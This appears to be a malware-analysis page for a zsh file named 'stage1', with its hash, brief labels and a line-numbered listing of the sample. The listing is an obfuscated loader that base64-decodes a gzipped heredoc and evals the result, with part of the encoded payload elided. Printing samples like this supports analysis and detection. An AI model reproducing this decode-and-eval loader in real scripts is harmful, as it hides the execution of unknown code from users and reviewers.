stage1_61f8e4e3e263.zsh
Shell decodes a gzip heredoc and evals the resultShell script packed as a base64 gzip heredoc
SHA-25661f8e4e3e263934a04d18e29fd5edaa0840b1a8137b649e8241e5bae013f200d
MaleculeO₂(AsXe)H₂(Db₂Po)
Evidence
1#!/bin/zsh
2d20767=$(base64 -D <<'PAYLOAD_m274803238213029' | gunzip
3H4sIAAzHzGoAA91WXW/bNhR996+4VRVDasBIsiLbTaKmQRegQZF2SBosWFcYNEXZhGVKM6nGcdv/
4XsqSJUo2sL3sZfSDzcvDc3m//fKFM2Xc2Yh5L8J0mfJJnHMiWcotG773QC26pgQunIh+c3ieJI3s
5zQHZoCNMUoITiNIlZjw0ppgvVnkmyfNqnkaUiQTz6ISkS0MDy3RBFXYwxu7IdaPx8BR7QRxMSRB4
6mJDo1PNPByR4HY3HXjxyAy8Igtgn2Fef4NT1fdcbDsZTnRJnbLKgz6EReK9dGnsj3/fGPnYjMvTj
76XDg+8EoDobRUL8Us4SGhiOXmZMKnKSzGeOzkw3LShCL4QuYLwHNJLjw9RzknPLtSbFIvkoALQAJ
8QGiJ10iyJQXfhb9qSLHQezAeBF2hqxnl8gxu0w1LEuwEJy5Yt5gwLlMxP4cbLmkCSgCf7uERPHfi
9BZORDVdZltA/6PQDk07gj078oXFAgzIfKfPPwKwc0QUZcymzM8cxy0A50TPHS0Yu5ToKzW08+tmT
10+ukZ8AOUMwRZsUyWUU8E/d9avW9uzLTgXwLi9EDw6ZpJ8Lr4L/ACUAyGWSSWYv5R7EW9/9plWVGZ
11r3ibp8zMd+8fPn6Y3N/8eR2aluW58Er5ZnBafdm2Br29epzcXX++u7m+D8eaPM+SFEcTpiy1Iiwp
12HB8JG5lWmlEuRAIrVZiA5nQNY72mi1dTMk/BvLv6+Nun2+rLbpWvxMlEsE2ZFs1WaRISy8IHR5va
⋯8 lines
21PAYLOAD_m274803238213029
22)
23eval "$d20767"